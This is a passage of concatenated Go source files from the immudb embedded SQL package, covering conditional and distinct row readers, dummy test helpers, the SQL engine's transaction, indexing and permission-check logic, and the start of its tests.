cr.rowReader.TableAlias() } func (cr *conditionalRowReader) Parameters() map[string]interface{} { return cr.rowReader.Parameters() } func (cr *conditionalRowReader) OrderBy() []ColDescriptor { return cr.rowReader.OrderBy() } func (cr *conditionalRowReader) ScanSpecs() *ScanSpecs { return cr.rowReader.ScanSpecs() } func (cr *conditionalRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { return cr.rowReader.Columns(ctx) } func (cr *conditionalRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { return cr.rowReader.colsBySelector(ctx) } func (cr *conditionalRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { err := cr.rowReader.InferParameters(ctx, params) if err != nil { return err } cols, err := cr.colsBySelector(ctx) if err != nil { return err } _, err = cr.condition.inferType(cols, params, cr.TableAlias()) return err } func (cr *conditionalRowReader) Read(ctx context.Context) (*Row, error) { for { row, err := cr.rowReader.Read(ctx) if err != nil { return nil, err } cond, err := cr.condition.substitute(cr.Parameters()) if err != nil { return nil, fmt.Errorf("%w: when evaluating WHERE clause", err) } r, err := cond.reduce(cr.Tx(), row, cr.rowReader.TableAlias()) if err != nil { return nil, fmt.Errorf("%w: when evaluating WHERE clause", err) } nval, isNull := r.(*NullValue) if isNull && nval.Type() == BooleanType { continue } satisfies, boolExp := r.(*Bool) if !boolExp { return nil, fmt.Errorf("%w: expected '%s' in WHERE clause, but '%s' was provided", ErrInvalidCondition, BooleanType, r.Type()) } if satisfies.val { return row, nil } } } func (cr *conditionalRowReader) Close() error { return cr.rowReader.Close() } ================================================ FILE: embedded/sql/cond_row_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "testing" "github.com/stretchr/testify/require" ) func TestConditionalRowReader(t *testing.T) { dummyr := &dummyRowReader{failReturningColumns: true} rowReader := newConditionalRowReader(dummyr, &Bool{val: true}) _, err := rowReader.Columns(context.Background()) require.ErrorIs(t, err, errDummy) err = rowReader.InferParameters(context.Background(), nil) require.ErrorIs(t, err, errDummy) dummyr.failInferringParams = true err = rowReader.InferParameters(context.Background(), nil) require.ErrorIs(t, err, errDummy) } ================================================ FILE: embedded/sql/distinct_row_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "crypto/sha256" ) type distinctRowReader struct { rowReader RowReader cols []ColDescriptor readRows map[[sha256.Size]byte]struct{} } func newDistinctRowReader(ctx context.Context, rowReader RowReader) (*distinctRowReader, error) { cols, err := rowReader.Columns(ctx) if err != nil { return nil, err } return &distinctRowReader{ rowReader: rowReader, cols: cols, readRows: make(map[[sha256.Size]byte]struct{}), }, nil } func (dr *distinctRowReader) onClose(callback func()) { dr.rowReader.onClose(callback) } func (dr *distinctRowReader) Tx() *SQLTx { return dr.rowReader.Tx() } func (dr *distinctRowReader) TableAlias() string { return dr.rowReader.TableAlias() } func (dr *distinctRowReader) Parameters() map[string]interface{} { return dr.rowReader.Parameters() } func (dr *distinctRowReader) OrderBy() []ColDescriptor { return dr.rowReader.OrderBy() } func (dr *distinctRowReader) ScanSpecs() *ScanSpecs { return dr.rowReader.ScanSpecs() } func (dr *distinctRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { return dr.rowReader.Columns(ctx) } func (dr *distinctRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { return dr.rowReader.colsBySelector(ctx) } func (dr *distinctRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { return dr.rowReader.InferParameters(ctx, params) } func (dr *distinctRowReader) Read(ctx context.Context) (*Row, error) { for { if len(dr.readRows) == dr.rowReader.Tx().distinctLimit() { return nil, ErrTooManyRows } row, err := dr.rowReader.Read(ctx) if err != nil { return nil, err } digest, err := row.digest(dr.cols) if err != nil { return nil, err } _, ok := dr.readRows[digest] if ok { continue } dr.readRows[digest] = struct{}{} return row, nil } } func (dr *distinctRowReader) Close() error { return dr.rowReader.Close() } ================================================ FILE: embedded/sql/distinct_row_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "testing" "github.com/stretchr/testify/require" ) func TestDistinctRowReader(t *testing.T) { dummyr := &dummyRowReader{failReturningColumns: false} dummyr.failReturningColumns = true _, err := newDistinctRowReader(context.Background(), dummyr) require.ErrorIs(t, err, errDummy) dummyr.failReturningColumns = false rowReader, err := newDistinctRowReader(context.Background(), dummyr) require.NoError(t, err) require.Equal(t, dummyr.TableAlias(), rowReader.TableAlias()) require.Equal(t, dummyr.OrderBy(), rowReader.OrderBy()) require.Equal(t, dummyr.ScanSpecs(), rowReader.ScanSpecs()) require.Nil(t, rowReader.Tx()) _, err = rowReader.colsBySelector(context.Background()) require.ErrorIs(t, err, errDummy) dummyr.failReturningColumns = true _, err = rowReader.Columns(context.Background()) require.ErrorIs(t, err, errDummy) require.Nil(t, rowReader.Parameters()) err = rowReader.InferParameters(context.Background(), nil) require.NoError(t, err) dummyr.failInferringParams = true err = rowReader.InferParameters(context.Background(), nil) require.ErrorIs(t, err, errDummy) } ================================================ FILE: embedded/sql/dummy_data_source_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" ) type dummyDataSource struct { inferParametersFunc func(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error ResolveFunc func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) AliasFunc func() string } func (d *dummyDataSource) readOnly() bool { return true } func (d *dummyDataSource) requiredPrivileges() []SQLPrivilege { return []SQLPrivilege{SQLPrivilegeSelect} } func (d *dummyDataSource) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) { return tx, nil } func (d *dummyDataSource) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return d.inferParametersFunc(ctx, tx, params) } func (d *dummyDataSource) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) { return d.ResolveFunc(ctx, tx, params, scanSpecs) } func (d *dummyDataSource) Alias() string { return d.AliasFunc() } ================================================ FILE: embedded/sql/dummy_row_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "errors" ) var errDummy = errors.New("dummy error") type dummyRowReader struct { failReturningColumns bool failInferringParams bool database string params map[string]interface{} recordClose bool closed bool failSecondReturningColumns bool } func (r *dummyRowReader) onClose(callback func()) { } func (r *dummyRowReader) Tx() *SQLTx { return nil } func (r *dummyRowReader) Database() string { return r.database } func (r *dummyRowReader) TableAlias() string { return "table1" } func (r *dummyRowReader) Read(ctx context.Context) (*Row, error) { return nil, errDummy } func (r *dummyRowReader) Close() error { if r.recordClose { if r.closed { return ErrAlreadyClosed } r.closed = true return nil } return errDummy } func (r *dummyRowReader) OrderBy() []ColDescriptor { return nil } func (r *dummyRowReader) ScanSpecs() *ScanSpecs { return nil } func (r *dummyRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { if r.failReturningColumns { return nil, errDummy } if r.failSecondReturningColumns { // Will fail the next time r.failReturningColumns = true } return nil, nil } func (r *dummyRowReader) Parameters() map[string]interface{} { return r.params } func (r *dummyRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { if r.failInferringParams { return errDummy } return nil } func (r *dummyRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { return nil, errDummy } ================================================ FILE: embedded/sql/engine.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "encoding/binary" "errors" "fmt" "strings" "github.com/codenotary/immudb/embedded/store" ) var ( ErrNoSupported = errors.New("not supported") ErrIllegalArguments = store.ErrIllegalArguments ErrMultiIndexingNotEnabled = fmt.Errorf("%w: multi-indexing must be enabled", store.ErrIllegalState) ErrParsingError = errors.New("parsing error") ErrDDLorDMLTxOnly = errors.New("transactions can NOT combine DDL and DML statements") ErrUnspecifiedMultiDBHandler = fmt.Errorf("%w: unspecified multidbHanlder", store.ErrIllegalState) ErrDatabaseDoesNotExist = errors.New("database does not exist") ErrDatabaseAlreadyExists = errors.New("database already exists") ErrTableAlreadyExists = errors.New("table already exists") ErrTableDoesNotExist = errors.New("table does not exist") ErrColumnDoesNotExist = errors.New("column does not exist") ErrColumnAlreadyExists = errors.New("column already exists") ErrCannotDropColumn = errors.New("cannot drop column") ErrSameOldAndNewNames = errors.New("same old and new names") ErrColumnNotIndexed = errors.New("column is not indexed") ErrFunctionDoesNotExist = errors.New("function does not exist") ErrLimitedKeyType = errors.New("indexed key of unsupported type or exceeded length") ErrLimitedAutoIncrement = errors.New("only INTEGER single-column primary keys can be set as auto incremental") ErrLimitedMaxLen = errors.New("only VARCHAR and BLOB types support max length") ErrDuplicatedColumn = errors.New("duplicated column") ErrInvalidColumn = errors.New("invalid column") ErrInvalidCheckConstraint = errors.New("invalid check constraint") ErrCheckConstraintViolation = errors.New("check constraint violation") ErrReservedWord = errors.New("reserved word") ErrNoPrimaryKey = errors.New("no primary key specified") ErrPKCanNotBeNull = errors.New("primary key can not be null") ErrPKCanNotBeUpdated = errors.New("primary key can not be updated") ErrMultiplePrimaryKeys = errors.New("multiple primary keys are not allowed") ErrNotNullableColumnCannotBeNull = errors.New("not nullable column can not be null") ErrNewColumnMustBeNullable = errors.New("new column must be nullable") ErrIndexAlreadyExists = errors.New("index already exists") ErrMaxNumberOfColumnsInIndexExceeded = errors.New("number of columns in multi-column index exceeded") ErrIndexNotFound = errors.New("index not found") ErrConstraintNotFound = errors.New("constraint not found") ErrInvalidNumberOfValues = errors.New("invalid number of values provided") ErrInvalidValue = errors.New("invalid value provided") ErrInferredMultipleTypes = errors.New("inferred multiple types") ErrExpectingDQLStmt = errors.New("illegal statement. DQL statement expected") ErrColumnMustAppearInGroupByOrAggregation = errors.New("must appear in the group by clause or be used in an aggregated function") ErrIllegalMappedKey = errors.New("error illegal mapped key") ErrCorruptedData = store.ErrCorruptedData ErrBrokenCatalogColSpecExpirable = fmt.Errorf("%w: catalog column entry set as expirable", ErrCorruptedData) ErrBrokenCatalogCheckConstraintExpirable = fmt.Errorf("%w: catalog check constraint set as expirable", ErrCorruptedData) ErrNoMoreRows = store.ErrNoMoreEntries ErrInvalidTypes = errors.New("invalid types") ErrUnsupportedJoinType = errors.New("unsupported join type") ErrInvalidCondition = errors.New("invalid condition") ErrHavingClauseRequiresGroupClause = errors.New("having clause requires group clause") ErrNotComparableValues = errors.New("values are not comparable") ErrNumericTypeExpected = errors.New("numeric type expected") ErrUnexpected = errors.New("unexpected error") ErrMaxKeyLengthExceeded = errors.New("max key length exceeded") ErrMaxLengthExceeded = errors.New("max length exceeded") ErrColumnIsNotAnAggregation = errors.New("column is not an aggregation") ErrLimitedCount = errors.New("only unbounded counting is supported i.e. COUNT(*)") ErrTxDoesNotExist = errors.New("tx does not exist") ErrNestedTxNotSupported = errors.New("nested tx are not supported") ErrNoOngoingTx = errors.New("no ongoing transaction") ErrNonTransactionalStmt = errors.New("non transactional statement") ErrDivisionByZero = errors.New("division by zero") ErrMissingParameter = errors.New("missing parameter") ErrUnsupportedParameter = errors.New("unsupported parameter") ErrDuplicatedParameters = errors.New("duplicated parameters") ErrLimitedIndexCreation = errors.New("unique index creation is only supported on empty tables") ErrTooManyRows = errors.New("too many rows") ErrAlreadyClosed = store.ErrAlreadyClosed ErrAmbiguousSelector = errors.New("ambiguous selector") ErrUnsupportedCast = fmt.Errorf("%w: unsupported cast", ErrInvalidValue) ErrColumnMismatchInUnionStmt = errors.New("column mismatch in union statement") ErrCannotIndexJson = errors.New("cannot index column of type JSON") ErrInvalidTxMetadata = errors.New("invalid transaction metadata") ErrAccessDenied = errors.New("access denied") ) var MaxKeyLen = 512 const ( EncIDLen = 4 EncLenLen = 4 ) const MaxNumberOfColumnsInIndex = 8 type Engine struct { store *store.ImmuStore prefix []byte distinctLimit int sortBufferSize int autocommit bool lazyIndexConstraintValidation bool parseTxMetadata func([]byte) (map[string]interface{}, error) multidbHandler MultiDBHandler tableResolvers map[string]TableResolver } type MultiDBHandler interface { ListDatabases(ctx context.Context) ([]string, error) CreateDatabase(ctx context.Context, db string, ifNotExists bool) error UseDatabase(ctx context.Context, db string) error GetLoggedUser(ctx context.Context) (User, error) ListUsers(ctx context.Context) ([]User, error) CreateUser(ctx context.Context, username, password string, permission Permission) error AlterUser(ctx context.Context, username, password string, permission Permission) error GrantSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error RevokeSQLPrivileges(ctx context.Context, database, username string, privileges []SQLPrivilege) error DropUser(ctx context.Context, username string) error ExecPreparedStmts(ctx context.Context, opts *TxOptions, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) } type TableResolver interface { Table() string Resolve(ctx context.Context, tx *SQLTx, alias string) (RowReader, error) } type User interface { Username() string Permission() Permission SQLPrivileges() []SQLPrivilege } func NewEngine(st *store.ImmuStore, opts *Options) (*Engine, error) { if st == nil { return nil, ErrIllegalArguments } if !st.MultiIndexingEnabled() { return nil, ErrMultiIndexingNotEnabled } err := opts.Validate() if err != nil { return nil, err } e := &Engine{ store: st, prefix: make([]byte, len(opts.prefix)), distinctLimit: opts.distinctLimit, sortBufferSize: opts.sortBufferSize, autocommit: opts.autocommit, lazyIndexConstraintValidation: opts.lazyIndexConstraintValidation, parseTxMetadata: opts.parseTxMetadata, multidbHandler: opts.multidbHandler, } copy(e.prefix, opts.prefix) err = st.InitIndexing(&store.IndexSpec{ SourcePrefix: append(e.prefix, []byte(catalogPrefix)...), TargetPrefix: append(e.prefix, []byte(catalogPrefix)...), InjectiveMapping: true, }) if err != nil && !errors.Is(err, store.ErrIndexAlreadyInitialized) { return nil, err } for _, r := range opts.tableResolvers { e.registerTableResolver(r.Table(), r) } // TODO: find a better way to handle parsing errors yyErrorVerbose = true return e, nil } func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { err := opts.Validate() if err != nil { return nil, err } var mode store.TxMode if opts.ReadOnly { mode = store.ReadOnlyTx } else { mode = store.ReadWriteTx } txOpts := &store.TxOptions{ Mode: mode, SnapshotMustIncludeTxID: opts.SnapshotMustIncludeTxID, SnapshotRenewalPeriod: opts.SnapshotRenewalPeriod, UnsafeMVCC: opts.UnsafeMVCC, } tx, err := e.store.NewTx(ctx, txOpts) if err != nil { return nil, err } if len(opts.Extra) > 0 { txmd := store.NewTxMetadata() err := txmd.WithExtra(opts.Extra) if err != nil { return nil, err } tx.WithMetadata(txmd) } catalog := newCatalog(e.prefix) err = catalog.load(ctx, tx) if err != nil { return nil, err } for _, table := range catalog.GetTables() { primaryIndex := table.primaryIndex rowEntryPrefix := MapKey( e.prefix, RowPrefix, EncodeID(DatabaseID), EncodeID(table.id), EncodeID(primaryIndex.id), ) mappedPKEntryPrefix := MapKey( e.prefix, MappedPrefix, EncodeID(table.id), EncodeID(primaryIndex.id), ) err = e.store.InitIndexing(&store.IndexSpec{ SourcePrefix: rowEntryPrefix, TargetEntryMapper: indexEntryMapperFor(primaryIndex, primaryIndex), TargetPrefix: mappedPKEntryPrefix, InjectiveMapping: true, }) if err != nil && !errors.Is(err, store.ErrIndexAlreadyInitialized) { return nil, err } for _, index := range table.indexes { if index.IsPrimary() { continue } mappedEntryPrefix := MapKey( e.prefix, MappedPrefix, EncodeID(table.id), EncodeID(index.id), ) err = e.store.InitIndexing(&store.IndexSpec{ SourcePrefix: rowEntryPrefix, SourceEntryMapper: indexEntryMapperFor(primaryIndex, primaryIndex), TargetEntryMapper: indexEntryMapperFor(index, primaryIndex), TargetPrefix: mappedEntryPrefix, InjectiveMapping: true, }) if errors.Is(err, store.ErrIndexAlreadyInitialized) { continue } if err != nil { return nil, err } } if table.autoIncrementPK { encMaxPK, err := loadMaxPK(ctx, e.prefix, tx, table) if errors.Is(err, store.ErrNoMoreEntries) { continue } if err != nil { return nil, err } if len(encMaxPK) != 9 { return nil, ErrCorruptedData } if encMaxPK[0] != KeyValPrefixNotNull { return nil, ErrCorruptedData } // map to signed integer space encMaxPK[1] ^= 0x80 table.maxPK = int64(binary.BigEndian.Uint64(encMaxPK[1:])) } } return &SQLTx{ engine: e, opts: opts, tx: tx, catalog: catalog, lastInsertedPKs: make(map[string]int64), firstInsertedPKs: make(map[string]int64), }, nil } func indexEntryMapperFor(index, primaryIndex *Index) store.EntryMapper { // value={count (colID valLen val)+}) // key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+ valueExtractor := func(value []byte, valuesByColID map[uint32]TypedValue) error { voff := 0 cols := int(binary.BigEndian.Uint32(value[voff:])) voff += EncLenLen for i := 0; i < cols; i++ { if len(value) < EncIDLen { return fmt.Errorf("key is lower than required") } colID := binary.BigEndian.Uint32(value[voff:]) voff += EncIDLen col, err := index.table.GetColumnByID(colID) if errors.Is(err, ErrColumnDoesNotExist) { vlen := int(binary.BigEndian.Uint32(value[voff:])) voff += EncLenLen + vlen continue } else if err != nil { return err } val, n, err := DecodeValue(value[voff:], col.colType) if err != nil { return err } voff += n valuesByColID[colID] = val } return nil } return func(key, value []byte) ([]byte, error) { encodedValues := make([][]byte, 2+len(index.cols)+1) encodedValues[0] = EncodeID(index.table.id) encodedValues[1] = EncodeID(index.id) valuesByColID := make(map[uint32]TypedValue, len(index.cols)) for _, col := range index.table.cols { valuesByColID[col.id] = &NullValue{t: col.colType} } err := valueExtractor(value, valuesByColID) if err != nil { return nil, err } for i, col := range index.cols { encKey, _, err := EncodeValueAsKey(valuesByColID[col.id], col.Type(), col.MaxLen()) if err != nil { return nil, err } encodedValues[2+i] = encKey } pkEncVals, err := encodedKey(primaryIndex, valuesByColID) if err != nil { return nil, err } encodedValues[len(encodedValues)-1] = pkEncVals return MapKey(index.enginePrefix(), MappedPrefix, encodedValues...), nil } } func (e *Engine) Exec(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) { stmts, err := ParseSQL(strings.NewReader(sql)) if err != nil { return nil, nil, fmt.Errorf("%w: %v", ErrParsingError, err) } return e.ExecPreparedStmts(ctx, tx, stmts, params) } func (e *Engine) ExecPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, err error) { ntx, ctxs, pendingStmts, err := e.execPreparedStmts(ctx, tx, stmts, params) if err != nil { return ntx, ctxs, err } if len(pendingStmts) > 0 { // a different database was selected if e.multidbHandler == nil || ntx != nil { return ntx, ctxs, fmt.Errorf("%w: all statements should have been executed when not using a multidbHandler", ErrUnexpected) } var opts *TxOptions if tx != nil { opts = tx.opts } else { opts = DefaultTxOptions() } ntx, hctxs, err := e.multidbHandler.ExecPreparedStmts(ctx, opts, pendingStmts, params) return ntx, append(ctxs, hctxs...), err } return ntx, ctxs, nil } func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLStmt, params map[string]interface{}) (ntx *SQLTx, committedTxs []*SQLTx, pendingStmts []SQLStmt, err error) { if len(stmts) == 0 { return nil, nil, stmts, ErrIllegalArguments } nparams, err := normalizeParams(params) if err != nil { return nil, nil, stmts, err } currTx := tx execStmts := 0 for _, stmt := range stmts { if stmt == nil { return nil, nil, stmts[execStmts:], ErrIllegalArguments } _, isDBSelectionStmt := stmt.(*UseDatabaseStmt) // handle the case when working in non-autocommit mode outside a transaction block if isDBSelectionStmt && (currTx != nil && !currTx.Closed()) && !currTx.IsExplicitCloseRequired() { err = currTx.Commit(ctx) if err == nil { committedTxs = append(committedTxs, currTx) } if err != nil { return nil, committedTxs, stmts[execStmts:], err } } if currTx == nil || currTx.Closed() { var opts *TxOptions if currTx != nil { opts = currTx.opts } else if tx != nil { opts = tx.opts } else { opts = DefaultTxOptions() } // begin tx with implicit commit currTx, err = e.NewTx(ctx, opts) if err != nil { return nil, committedTxs, stmts[execStmts:], err } } if e.multidbHandler != nil { if err := e.checkUserPermissions(ctx, stmt); err != nil { currTx.Cancel() return nil, committedTxs, stmts[execStmts:], err } } ntx, err := stmt.execAt(ctx, currTx, nparams) if err != nil { currTx.Cancel() return nil, committedTxs, stmts[execStmts:], err } if !currTx.Closed() && !currTx.IsExplicitCloseRequired() && e.autocommit { err = currTx.Commit(ctx) if err != nil { return nil, committedTxs, stmts[execStmts:], err } } if currTx.Closed() { committedTxs = append(committedTxs, currTx) } currTx = ntx execStmts++ if isDBSelectionStmt && e.multidbHandler != nil { break } } if currTx != nil && !currTx.Closed() && !currTx.IsExplicitCloseRequired() { err = currTx.Commit(ctx) if err != nil { return nil, committedTxs, stmts[execStmts:], err } committedTxs = append(committedTxs, currTx) } if currTx != nil && currTx.Closed() { currTx = nil } return currTx, committedTxs, stmts[execStmts:], nil } func (e *Engine) checkUserPermissions(ctx context.Context, stmt SQLStmt) error { user, err := e.multidbHandler.GetLoggedUser(ctx) if err != nil { return err } if !stmt.readOnly() && user.Permission() == PermissionReadOnly { return fmt.Errorf("%w: statement requires %s permission", ErrAccessDenied, PermissionReadWrite) } requiredPrivileges := stmt.requiredPrivileges() if !hasAllPrivileges(user.SQLPrivileges(), requiredPrivileges) { return fmt.Errorf("%w: statement requires %v privileges", ErrAccessDenied, requiredPrivileges) } return nil } func hasAllPrivileges(userPrivileges, privileges []SQLPrivilege) bool { for _, p := range privileges { has := false for _, up := range userPrivileges { if up == p { has = true break } } if !has { return false } } return true } func (e *Engine) queryAll(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) ([]*Row, error) { reader, err := e.Query(ctx, tx, sql, params) if err != nil { return nil, err } defer reader.Close() return ReadAllRows(ctx, reader) } func (e *Engine) Query(ctx context.Context, tx *SQLTx, sql string, params map[string]interface{}) (RowReader, error) { stmts, err := ParseSQL(strings.NewReader(sql)) if err != nil { return nil, fmt.Errorf("%w: %v", ErrParsingError, err) } if len(stmts) != 1 { return nil, ErrExpectingDQLStmt } stmt, ok := stmts[0].(DataSource) if !ok { return nil, ErrExpectingDQLStmt } return e.QueryPreparedStmt(ctx, tx, stmt, params) } func (e *Engine) QueryPreparedStmt(ctx context.Context, tx *SQLTx, stmt DataSource, params map[string]interface{}) (rowReader RowReader, err error) { if stmt == nil { return nil, ErrIllegalArguments } qtx := tx if qtx == nil { qtx, err = e.NewTx(ctx, DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } defer func() { if err != nil { qtx.Cancel() } }() } nparams, err := normalizeParams(params) if err != nil { return nil, err } if e.multidbHandler != nil { if err := e.checkUserPermissions(ctx, stmt); err != nil { return nil, err } } _, err = stmt.execAt(ctx, qtx, nparams) if err != nil { return nil, err } r, err := stmt.Resolve(ctx, qtx, nparams, nil) if err != nil { return nil, err } if tx == nil { r.onClose(func() { qtx.Cancel() }) } return r, nil } func (e *Engine) Catalog(ctx context.Context, tx *SQLTx) (catalog *Catalog, err error) { qtx := tx if qtx == nil { qtx, err = e.NewTx(ctx, DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } defer qtx.Cancel() } return qtx.Catalog(), nil } func (e *Engine) InferParameters(ctx context.Context, tx *SQLTx, sql string) (params map[string]SQLValueType, err error) { stmts, err := ParseSQL(strings.NewReader(sql)) if err != nil { return nil, fmt.Errorf("%w: %v", ErrParsingError, err) } return e.InferParametersPreparedStmts(ctx, tx, stmts) } func (e *Engine) InferParametersPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLStmt) (params map[string]SQLValueType, err error) { if len(stmts) == 0 { return nil, ErrIllegalArguments } qtx := tx if qtx == nil { qtx, err = e.NewTx(ctx, DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } defer qtx.Cancel() } params = make(map[string]SQLValueType) for _, stmt := range stmts { err = stmt.inferParameters(ctx, qtx, params) if err != nil { return nil, err } } return params, nil } func normalizeParams(params map[string]interface{}) (map[string]interface{}, error) { nparams := make(map[string]interface{}, len(params)) for name, value := range params { nname := strings.ToLower(name) _, exists := nparams[nname] if exists { return nil, ErrDuplicatedParameters } nparams[nname] = value } return nparams, nil } // CopyCatalogToTx copies the current sql catalog to the ongoing transaction. func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { if tx == nil { return ErrIllegalArguments } catalog := newCatalog(e.prefix) err := catalog.addSchemaToTx(ctx, tx) if err != nil { return err } return nil } func (e *Engine) GetStore() *store.ImmuStore { return e.store } func (e *Engine) GetPrefix() []byte { return e.prefix } func (e *Engine) tableResolveFor(tableName string) TableResolver { if e.tableResolvers == nil { return nil } return e.tableResolvers[tableName] } func (e *Engine) registerTableResolver(tableName string, r TableResolver) { if e.tableResolvers == nil { e.tableResolvers = make(map[string]TableResolver) } e.tableResolvers[tableName] = r } ================================================ FILE: embedded/sql/engine_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "encoding/hex" "encoding/json" "errors" "fmt" "math" "math/rand" "os" "sort" "strconv" "strings" "sync" "testing" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" "github.com/google/uuid" "github.com/stretchr/testify/require" "github.com/stretchr/testify/suite" ) var sqlPrefix = []byte{2} func closeStore(t *testing.T, st *store.ImmuStore) { err := st.Close() if !t.Failed() { // Do not pollute error output if test has already failed require.NoError(t, err) } } func setupCommonTest(t *testing.T) *Engine { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) return engine } func TestCreateDatabaseWithoutMultiIndexingEnabled(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(false)) require.NoError(t, err) defer closeStore(t, st) _, err = NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.ErrorIs(t, err, ErrMultiIndexingNotEnabled) } func TestCreateDatabaseWithoutMultiDBHandler(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1", nil) require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE IF NOT EXISTS db1", nil) require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) _, _, err = engine.Exec(context.Background(), nil, "CREATE USER user1 WITH PASSWORD 'user1Password!' READ", nil) require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) _, _, err = engine.Exec(context.Background(), nil, "ALTER USER user1 WITH PASSWORD 'user1Password!' ADMIN", nil) require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) _, _, err = engine.Exec(context.Background(), nil, "DROP USER user1", nil) require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) } func TestUseDatabaseWithoutMultiDBHandler(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1", nil) require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) t.Run("without a handler, multi database stmts are not resolved", func(t 